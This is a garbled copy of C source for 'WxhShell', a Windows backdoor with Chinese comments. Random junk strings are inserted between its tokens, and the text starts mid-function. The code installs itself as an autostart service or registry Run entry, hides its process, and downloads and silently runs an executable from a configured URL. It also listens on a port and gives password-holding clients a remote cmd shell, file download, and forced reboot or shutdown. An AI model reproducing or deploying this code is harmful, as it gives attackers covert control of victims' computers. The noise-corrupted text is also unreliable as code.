a3a:H q(1hY"S"}b HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~C3Ada@4 if(NULL == hInst ) return 0; 3*(><<ZC @e$EwCV, g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jR@>~t[}o g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $d,{I8d NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s'IB{lJ9 l
m(mY$B*_ if (!NtQueryInformationProcess) return 0; >$=l;jO`n xh!T,|IR hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Gm0}KU if(!hProcess) return 0; A:pD:}fm}D vGI)c&C> if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K,*-Y)v2W .NxskXq) CloseHandle(hProcess); -pQ?ybQ giW9b_ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); UQ@szE if(hProcess==NULL) return 0; &0J8ICd= 3v `@** HMODULE hMod; \YF07L]qs- char procName[255]; pZt>rv unsigned long cbNeeded; Hc8!cATQk 7m?fvKy if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %,aSD#l`f R4$(NNC+/ CloseHandle(hProcess); &yOl}?u T\:*+W37 if(strstr(procName,"services")) return 1; // 以服务启动
&Mt0Qa[ Xh/BVg7$ return 0; // 注册表启动 \pSRG=` } x(~V7L>"i Ap |g[J // 主模块 \(`C*d int StartWxhshell(LPSTR lpCmdLine) dk]A,TB*2 { IMzt1l
=7 SOCKET wsl; =e9<.{]S/ BOOL val=TRUE; a( N;|< int port=0; @uG/2'B( struct sockaddr_in door; c%+uji6 78?cCj{e if(wscfg.ws_autoins) Install(); j8rxhToC h%v qt~0 port=atoi(lpCmdLine); mC?}:WM@ 1|:;~9n<t if(port<=0) port=wscfg.ws_port; CUBL/U\= F6:LH,~8 WSADATA data; 2^:iU{ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; If8
^ wub7w# if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; %*IH~/Ld;] setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `49!di[ door.sin_family = AF_INET; 3Ljj|5.q door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^BW8zu@=O door.sin_port = htons(port); wgq=9\+& wnQi5P+ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s*eM}d.p closesocket(wsl); ")nKFs5 return 1; %/hokyx } R$+"'N6p 'GO*6$/ if(listen(wsl,2) == INVALID_SOCKET) { ,Z7Ky*<j closesocket(wsl); Fx)><+- return 1; VD =f 'D } P\z1fscnK Wxhshell(wsl); aQzmobleep WSACleanup(); lh!8u<yv* #Pg?T%('` return 0; h53G$Ol. 4!
F$nmG) } V!e*J,g t^%)d7$ // 以NT服务方式启动 54RexB o VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u^x<xw6f { Qp2~ `hD DWORD status = 0; x@pzgqi3 DWORD specificError = 0xfffffff; =CCddLO mJH4M9WJ] serviceStatus.dwServiceType = SERVICE_WIN32; [[]NnWJ serviceStatus.dwCurrentState = SERVICE_START_PENDING; + EKp*Vje serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6{fo.M? serviceStatus.dwWin32ExitCode = 0; ,">CPl] serviceStatus.dwServiceSpecificExitCode = 0; }wEt=zOJ serviceStatus.dwCheckPoint = 0; 0G+qF96 serviceStatus.dwWaitHint = 0; qP=a:R- t$R0UprK hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); GSH,;cY if (hServiceStatusHandle==0) return; vB5mOXGN q [?g}<fa status = GetLastError(); pK/RkA1 if (status!=NO_ERROR) yWr&G@>G { r "\<+$ 7 serviceStatus.dwCurrentState = SERVICE_STOPPED; GW%!?mJ serviceStatus.dwCheckPoint = 0; *GdJ<B$ serviceStatus.dwWaitHint = 0; Vn_>c#B serviceStatus.dwWin32ExitCode = status; WM=)K1p0u serviceStatus.dwServiceSpecificExitCode = specificError; $%ww$3 SetServiceStatus(hServiceStatusHandle, &serviceStatus); %Rk0sfLvn return; FEBRUk6.h } tlI]);iE, *ODc[k'( serviceStatus.dwCurrentState = SERVICE_RUNNING; <UGM/+aO serviceStatus.dwCheckPoint = 0; ygUX ]*m! serviceStatus.dwWaitHint = 0; A$;*O) if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G,(Xz"`, } 6r[pOl: e%0IEX // 处理NT服务事件,比如:启动、停止 _LWMz=U=J/ VOID WINAPI NTServiceHandler(DWORD fdwControl) x$S~>H<a { +]hc!s8 switch(fdwControl) 8%MF< { N;=J)b|9 case SERVICE_CONTROL_STOP: 8Kn}o@Yd serviceStatus.dwWin32ExitCode = 0; ogya~/ serviceStatus.dwCurrentState = SERVICE_STOPPED; N2u4MI2 serviceStatus.dwCheckPoint = 0; $ylxl"Y serviceStatus.dwWaitHint = 0; (;HO3Z".q$ { )k `+9}OO SetServiceStatus(hServiceStatusHandle, &serviceStatus); V{}TG] } F0kQ/x return; gDX\ p>7 case SERVICE_CONTROL_PAUSE: >9<rc[ serviceStatus.dwCurrentState = SERVICE_PAUSED; XqcNFSo) break; Jr>Nc}!U case SERVICE_CONTROL_CONTINUE: ^{E_fQJX serviceStatus.dwCurrentState = SERVICE_RUNNING; f
uH3C~u7< break; s(MdjWw case SERVICE_CONTROL_INTERROGATE: 90H/Txq break; ;BHIss7 }; \z.p [;'ir SetServiceStatus(hServiceStatusHandle, &serviceStatus); |I.5]r-EK } GB6(WAmr -,$:^4 // 标准应用程序主函数 oiz]Bd int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z34+1d { Z_T~2t *r6v9 // 获取操作系统版本 ZalL}?E
? OsIsNt=GetOsVer(); +bWo{ GetModuleFileName(NULL,ExeFile,MAX_PATH); b}hQU~,E 2D3mTpw // 从命令行安装 Ka"1gbJ| if(strpbrk(lpCmdLine,"iI")) Install(); oV~S4|9: M IU B] // 下载执行文件 ;;EFiaA if(wscfg.ws_downexe) { owO&[D/ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p\]rxtm WinExec(wscfg.ws_filenam,SW_HIDE); 1}CJ& } SNH AL F P>|sCF if(!OsIsNt) { ~k ]$J|}za // 如果时win9x,隐藏进程并且设置为注册表启动 8,B#W#*{ HideProc(); gLbTZM4i StartWxhshell(lpCmdLine); )_Iu7b } ;y>}LGG else $^#q0Yx if(StartFromService()) >vuR:4B // 以服务方式启动 g_"B:DR StartServiceCtrlDispatcher(DispatchTable); J^pq< else F}5skD= // 普通方式启动 %V-Hy ;V StartWxhshell(lpCmdLine); C{V,=Fo^ ;9uDV-" return 0; }7qboUG e } Ek '%%% \6/!{D, 4HGR-S/ RRGs:h@; =========================================== mDA1$fj" }O6E5YCm 9;A9Q9Yr !1bATO:x +1Rz + e&9v`8}
" Js9EsN% _wZr`E) #include <stdio.h> Wtflw>- #include <string.h> @^b>S6d" #include <windows.h> u4[rA2Bf8E #include <winsock2.h> jZqCM{ #include <winsvc.h> \YH*x` #include <urlmon.h> w|ct="MG <I2~>x5db #pragma comment (lib, "Ws2_32.lib") v0%FG9Gk #pragma comment (lib, "urlmon.lib") 7+P-MT 08nA}+k #define MAX_USER 100 // 最大客户端连接数 b.xG' #define BUF_SOCK 200 // sock buffer //^{u[lr #define KEY_BUFF 255 // 输入 buffer /J&_ZDNV~ {=P}c:iW #define REBOOT 0 // 重启 e.;B?0QrV #define SHUTDOWN 1 // 关机 ban;HGGNG{ Dwah_ p8 #define DEF_PORT 5000 // 监听端口 YA8ZB&]En/ u4:6zU/{ #define REG_LEN 16 // 注册表键长度 '5P:;zw #define SVC_LEN 80 // NT服务名长度 + Ui%}^ZZ Mbtk:GuY // 从dll定义API ~fz9PoC typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m=MM typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); - QQU>_ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %){) /~e& typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Gg5>~"pb .[vYT.LE // wxhshell配置信息 Z7dV y8J struct WSCFG { )oMMDHw\ int ws_port; // 监听端口 M` |E)Y char ws_passstr[REG_LEN]; // 口令 lZD"7om int ws_autoins; // 安装标记, 1=yes 0=no C)ebZ3 char ws_regname[REG_LEN]; // 注册表键名 -$(2Z[ char ws_svcname[REG_LEN]; // 服务名 D (">bR)1 char ws_svcdisp[SVC_LEN]; // 服务显示名 Jrx]/CM char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^:o^g'Yab char ws_passmsg[SVC_LEN]; // 密码输入提示信息 DA/\[w?J int ws_downexe; // 下载执行标记, 1=yes 0=no ujbJ&p
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ZJ|&t char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <{k8 K6 Xm^/t# }; o 0H.DeP C.hRL4+;Zm // default Wxhshell configuration ajD/)9S struct WSCFG wscfg={DEF_PORT, !l1jQq_mK "xuhuanlingzhe", - !s=`9o 1, Y9nyKL "Wxhshell", f,8PPJ:, "Wxhshell", c.;<+dYsm* "WxhShell Service", ob7hNo# "Wrsky Windows CmdShell Service", /SJI ~f+$ "Please Input Your Password: ", ;)!);q+ 1, 4,7W*mr3( "http://www.wrsky.com/wxhshell.exe", `FIS2sl/ "Wxhshell.exe" <f@
A\ }; ZrDr/Q~ A55F *d // 消息定义模块 F3<Ip~K char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lBOxB/` char *msg_ws_prompt="\n\r? for help\n\r#>"; ?xzDz char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; NE-c[|rq char *msg_ws_ext="\n\rExit."; 42,K8 char *msg_ws_end="\n\rQuit."; cu"ge]}, char *msg_ws_boot="\n\rReboot..."; >2LlBLQ char *msg_ws_poff="\n\rShutdown..."; Trml?zexD char *msg_ws_down="\n\rSave to "; vOBXAF ^ V8?6E char *msg_ws_err="\n\rErr!"; 6G?7>M char *msg_ws_ok="\n\rOK!"; 3qwSm< _S6SCSFc char ExeFile[MAX_PATH]; L7$1 rO< int nUser = 0; )|L#i2?: HANDLE handles[MAX_USER]; -!:h] int OsIsNt; d{RMX<;G 1IZTo!xi SERVICE_STATUS serviceStatus;
BPC> SERVICE_STATUS_HANDLE hServiceStatusHandle; n,%/cUl jg=}l1M" // 函数声明 wXU gxa int Install(void); LKu
,H int Uninstall(void); #:}mi;{ int DownloadFile(char *sURL, SOCKET wsh); (Z at|R.F int Boot(int flag); ;%$wA5"2M void HideProc(void); 9I*`~il>{ int GetOsVer(void); `'/1Ij+ int Wxhshell(SOCKET wsl); >twog}% void TalkWithClient(void *cs); 6g%~~hX int CmdShell(SOCKET sock); ,\0>d}eh! int StartFromService(void); F;)qM|7
int StartWxhshell(LPSTR lpCmdLine); bODyJ7=[ z irnur1 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _qq>-{-Ym VOID WINAPI NTServiceHandler( DWORD fdwControl ); L
^{C4}x= ,M$J
yda // 数据结构和表定义 5*r5?ne SERVICE_TABLE_ENTRY DispatchTable[] = {@T<eb$d { >D*%1LH~V {wscfg.ws_svcname, NTServiceMain}, ,HfdiGs}j {NULL, NULL} @ R;o $n }; 3+WostOx u#v];6N // 自我安装 qiyJ4^1 int Install(void) 9c=`Q5 { >d5L4&r char svExeFile[MAX_PATH]; km9@*@) HKEY key; 0*8uo
Wt& strcpy(svExeFile,ExeFile); A<[X@o}92 /3CdP'c // 如果是win9x系统,修改注册表设为自启动 e^Glgaf if(!OsIsNt) { Ky6 d{|H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t%]b`ad RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rb<9/z5- RegCloseKey(key); dZ'H'm;,! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .0#{?R, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Yjp*T:6 RegCloseKey(key); k= oCpXq^ return 0; s,;L6nX" } WEk3
4crk } R(<_p"9( } 6gJc?+ else { gL6.,4q+1 rJ fO/WK // 如果是NT以上系统,安装为系统服务 (j884bu SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y_N h5 if (schSCManager!=0) PW GNUNc {
'' Pfs<! SC_HANDLE schService = CreateService ?/^x)Nm ( C+Pw schSCManager, ?4MZT5 . wscfg.ws_svcname, +"Mlj$O wscfg.ws_svcdisp, HWi: CDgm SERVICE_ALL_ACCESS, H0Ck%5 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /7p1y v SERVICE_AUTO_START, w.R2' WR SERVICE_ERROR_NORMAL, BZAF;j svExeFile, m15> ^i^W NULL, 2N}h<Yd9 NULL, +pJ~<ug] NULL, q
OX=M NULL, s.j cD NULL m0+'BC{$u ); Bz*6M if (schService!=0) T{mIkp< { Cw]bhaG
g CloseServiceHandle(schService); u13v@<HGc CloseServiceHandle(schSCManager); FpFkZFtG'm strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ej/P:nB strcat(svExeFile,wscfg.ws_svcname); *K2fp=Ns if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Bu,VLIba RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); nTxN>?l2E RegCloseKey(key); jK-usn return 0; @sLB
_f } DyPb]Udb: } QN OA66 CloseServiceHandle(schSCManager); K{[N.dX( } Q804_F
F# } pQ9~^ ^fxS=Qs+ return 1; X(fT[A_2C } _"'0^F$I C &-]RffA // 自我卸载 H"J>wIuGX int Uninstall(void) Ur2)];WZ { 3IDX3cM9 HKEY key; -q}I;
cH 9Ts r g if(!OsIsNt) { YTYCv7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e?
n8S RegDeleteValue(key,wscfg.ws_regname); &<oDl_^ RegCloseKey(key); #i0f}& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a&s&6Q|Y RegDeleteValue(key,wscfg.ws_regname); Q!v]njCIB7 RegCloseKey(key); 2RC@Fu~zaU return 0; dn|OY.`| } NGOyd1$7N } ?D S|vCae } 2kVQ#JyuRI else { 6HR^q oiNt'HQ2/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dEG1[QG if (schSCManager!=0) %8~g#Z { mM)d`br SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YKG}4{T if (schService!=0) [pYjH+< { A_JNj8<6r if(DeleteService(schService)!=0) { w>uo-88 CloseServiceHandle(schService); ZRLS3*` CloseServiceHandle(schSCManager); '?dT<w=Y& return 0; u[?M{E/HU } mZ}C)&,m2 CloseServiceHandle(schService); &VfMv'%x } >XK |jPK CloseServiceHandle(schSCManager); b 3i34, } #>\%7b59> } T@\%h8@~] Xwt}WSdF`k return 1; 9Jj:d)E>o } i!dQ
Sdf d+158qQOh] // 从指定url下载文件 1]]#HTwX int DownloadFile(char *sURL, SOCKET wsh) i :Sih"= { Nvj0MD{ X HRESULT hr; BhC>G2 ^7 char seps[]= "/"; P1A5Qq char *token; C!s !j char *file; w^wh|'u^_@ char myURL[MAX_PATH]; J^)=8cy char myFILE[MAX_PATH]; "=vH,_"Ql y?.l9
strcpy(myURL,sURL); ;P!x/Ct token=strtok(myURL,seps); r>3y87 while(token!=NULL) ]gG&X3jaKq { (H-}z`sy/@ file=token; :zLeS- token=strtok(NULL,seps); W:* {7qJ } 66%4p%#b4 \1mTKw)S GetCurrentDirectory(MAX_PATH,myFILE); HA0Rv#p strcat(myFILE, "\\"); *zTEK:+_ strcat(myFILE, file); SWPb=[WEz send(wsh,myFILE,strlen(myFILE),0); VAet!H +] send(wsh,"...",3,0); yy#4DYht hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FCA]zR1 if(hr==S_OK) 2}jC%jR2 return 0; xI(Y}> else Yo;Mexo! return 1; l~c# X3E pIP^/H } N@G~+GCxL (7J (.EG2e // 系统电源模块 G*\U'w4w|* int Boot(int flag) '7(oCab"_ { *nc9u" HANDLE hToken; $KMxq= TOKEN_PRIVILEGES tkp; 6h3TU,$r 2(iv+<t if(OsIsNt) { u RPvo}!=1 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %% A==_b LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *e}1KcJ tkp.PrivilegeCount = 1; -G@:uxB tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _rj B. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6qH^&O][ if(flag==REBOOT) { d
gRTV<vM if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) o=ULo &9 return 0; I!;vy/r } YqNI:znm- else { SvN2}]Kh if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gq[`g=x return 0; _yP02a^2 } 0o&B 7N } \>nY%* else { yi@mf$A| if(flag==REBOOT) { Kb,#Ot if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (Q~(t return 0; 6*tbil_G+ } &=`6- J else { z)0%gd| if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2X!!RS>qg return 0; I^itlQ } BOf)27) } IM$I=5ye fOkB|E] return 1; + 3%i7 } )*T<s d6ABgQi0 // win9x进程隐藏模块 gPzp/I void HideProc(void) 2E_*'RT { DX#_0-o G;Thz HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !:|[?M.` if ( hKernel != NULL ) /{HK0fd { >J>|+W pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F|{F'UXj| ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #23m_w^L FreeLibrary(hKernel); 4N{5i) } *^t7?f[ 9_I#{? return; QLum=YB } n9x&Ws; PHHX)xK // 获取操作系统版本 r,-9]?i int GetOsVer(void) %5|DdpES { }}MZgm~U) OSVERSIONINFO winfo; ct-;L' a winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |{JJ2c\W GetVersionEx(&winfo); %x zgTZ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) kF o&! return 1; @#W$7Gwf0 else 8bP4 return 0; >
g=u Y{Rf } 9a;8^?Ld%S &nX,)" // 客户端句柄模块 =as\Tp#d int Wxhshell(SOCKET wsl) bhg
OLh# { Xsit4Ma SOCKET wsh; 4[^lE?+ struct sockaddr_in client; >W7IWhm3 DWORD myID; J0a#QvX! "Ir.1FN while(nUser<MAX_USER) Mh;rhQ { g1zX^^nd,V int nSize=sizeof(client); "}'Sk( wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [*|QA9 if(wsh==INVALID_SOCKET) return 1; H]JVv8 #Y'svn1H handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2*1FW v if(handles[nUser]==0) D|rcSa.M closesocket(wsh); \QKr2| else kx_PMpc nUser++; i1JWdHt } |nTZ/MXbw WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Y\1XKAfB ` "JslpN return 0; J~URv)g } KQ\d$fX TDnbX_xC< // 关闭 socket P 2^((c void CloseIt(SOCKET wsh) $bv l.c { ~PAbtY9}U closesocket(wsh); <{yQNXf[ nUser--; 4hh=z>$|l) ExitThread(0); O)i]K`jk } b/dyH 06peo
d // 客户端请求句柄 Z/>0P* F void TalkWithClient(void *cs) *)H&n>"e { '#faNVPABh 7gY^a MW SOCKET wsh=(SOCKET)cs; d[Lr`=L; char pwd[SVC_LEN]; ,)JSXo char cmd[KEY_BUFF]; 2r~&+0sBP char chr[1]; =-GHs$u%f int i,j; N2_9V~! YDMimis\H5 while (nUser < MAX_USER) { +m8gS;'R4 l-mf~{ if(wscfg.ws_passstr) { m;]glAtt if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,J0BG0jB^u //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :5M7*s)e16 //ZeroMemory(pwd,KEY_BUFF); xHMbtY i=0; K@PQLL#yJp while(i<SVC_LEN) { :x<'>)6 xjDV1Xf* // 设置超时 x3>PM]r(V fd_set FdRead; 1~#2AdG struct timeval TimeOut; g~AOKHUP FD_ZERO(&FdRead); 8x J]K FD_SET(wsh,&FdRead); +5BhC9=b TimeOut.tv_sec=8; 0{GpO6! TimeOut.tv_usec=0; '9#O#I&J int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3_]<H<w if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k)a-odNrb L--(Y+vmf if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \%! ~pfM I pwd=chr[0]; l[EjtN if(chr[0]==0xd || chr[0]==0xa) { MXj7Z3 pwd=0; rHWlv\+Nn break; }`,}e 259 } oIP<7gz i++; Lz9t9AoB } Q< q&a8~ "x*5g*k // 如果是非法用户,关闭 socket oT\u^WU if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -b4#/q+bb+ } LJ|2=lI+jb AShnCL8uR send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a|x1aN0 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !L#>wlX) 1*"t-+| while(1) { DGwN*>X rK\) ZeroMemory(cmd,KEY_BUFF); i:ZL0nH- hF!t{ Lf3 // 自动支持客户端 telnet标准 !)(c_ uz j=0; . .|>|X4 while(j<KEY_BUFF) { s2{d<0x?v if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?1?zmaS cmd[j]=chr[0]; 0DBA 'Cv if(chr[0]==0xa || chr[0]==0xd) { `KgWaf- cmd[j]=0; WmRx_d_ break; eL-9fld/n } 65ctxxWv1 j++; 9aR-kcvJIJ } hZ0CnY8 ' .#,!&Lt // 下载文件 G' ~Z' if(strstr(cmd,"http://")) { mOb*VH send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5UQz6DK if(DownloadFile(cmd,wsh)) [`~E)B1Y send(wsh,msg_ws_err,strlen(msg_ws_err),0); >h0iq else V #0F2GV<, send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \tj7Jy } v:Av2y else { X4:\Shb97 hZE" 8%\q switch(cmd[0]) { f;C*J1y p`)GO.pz // 帮助 n4cM
/unU case '?': { =7JvS~s send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); s0 ZF+6f break; J2$L[d^ } 3TRzDE(J // 安装 zqDIwfW case 'i': { gNdEPaaFI if(Install()) 2FxrMCC send(wsh,msg_ws_err,strlen(msg_ws_err),0); UJXRL
else p9;Oe,Il send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }dl[~iKW break; |D %m>M6 } E|t.
3 // 卸载 ze<Lc/ ;X~ case 'r': { K85;7R5 if(Uninstall()) ccc*"_45# send(wsh,msg_ws_err,strlen(msg_ws_err),0); }7>r, else fb7Gy send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0UEEvD5 break; v)*/E'Cr* } lLO|, // 显示 wxhshell 所在路径 {8)Pke case 'p': { .{` : char svExeFile[MAX_PATH]; W=fw*ro strcpy(svExeFile,"\n\r"); .5ap9li] strcat(svExeFile,ExeFile); DD3.el}6a send(wsh,svExeFile,strlen(svExeFile),0); U[EM<5@I break; TBN0u k } hjVct
r // 重启 x=g=e
<_ case 'b': { RKu'WD?sdH send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2sj[hI if(Boot(REBOOT)) I%]~]a send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q ke8BRBn else { }pJ6CW closesocket(wsh); 3BuG_ild ExitThread(0); _d#1muZ?p| }
gOpi> break; v+.
n9 } *9#6N2J$M // 关机 'D ,efTq case 'd': { d
NQ?8P-& send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Yj/aa0Ka4 if(Boot(SHUTDOWN)) *=Ko"v
} send(wsh,msg_ws_err,strlen(msg_ws_err),0); %#xdD2oN else { t$NK{Mw5_ closesocket(wsh); /gkHV3}fu ExitThread(0); e>zCzKK } EZy:_xjZ break; 'Vwsbm
tY } Zj@k3y // 获取shell Arg604V3 case 's': { n[~kcF CmdShell(wsh); zn| S3c closesocket(wsh); gnjh=anVX1 ExitThread(0); b&AGVWhh break; `mar-r_m } J#h2~Hz! // 退出 = GN1l[X case 'x': { 3/rEXKS send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0p"l}Fu@` CloseIt(wsh); < Y5pAStg break; ^}JGWGib=+ } snPM& // 离开 xq`mo case 'q': { :fo.9J send(wsh,msg_ws_end,strlen(msg_ws_end),0); h<)YZ[;x closesocket(wsh); nQe^Bn WSACleanup(); \ 5MD1r} exit(1); ET t7?,x@ break; bXSsN\:Y@[ } x*]&Ca0+ } ObK-<kGcB } ]mDsd* 1 {+`'ZU6C // 提示信息 vL>cYbJ< if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _[D6WY+
} *C/bf)w } ^|u7+b'|t 8|Wu8z-- return; d']CBoK } <>=A6 :{:R5d(_I // shell模块句柄 %sd1`1In int CmdShell(SOCKET sock) N_3$B= { ZDMv8BP7 STARTUPINFO si; Ri[ v(Zf ZeroMemory(&si,sizeof(si)); 'o D31\@I si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Mnj\t3: si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9|kc$+(+6 PROCESS_INFORMATION ProcessInfo; V*xo3hU char cmdline[]="cmd"; Hz?C9q3BX CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); RKI BFP8. return 0; &hTe-Es } .[%^~q7 UH8q:jOi // 自身启动模式 Y[_{tS#u int StartFromService(void) pD^7ZE6 { WJ%4IaT typedef struct Sn6cwf9.s { DC9\Sp? DWORD ExitStatus; <1t.f}}uX DWORD PebBaseAddress; T0:%,o DWORD AffinityMask; I&2)@Zw DWORD BasePriority; JQi+y; ULONG UniqueProcessId; ~>& |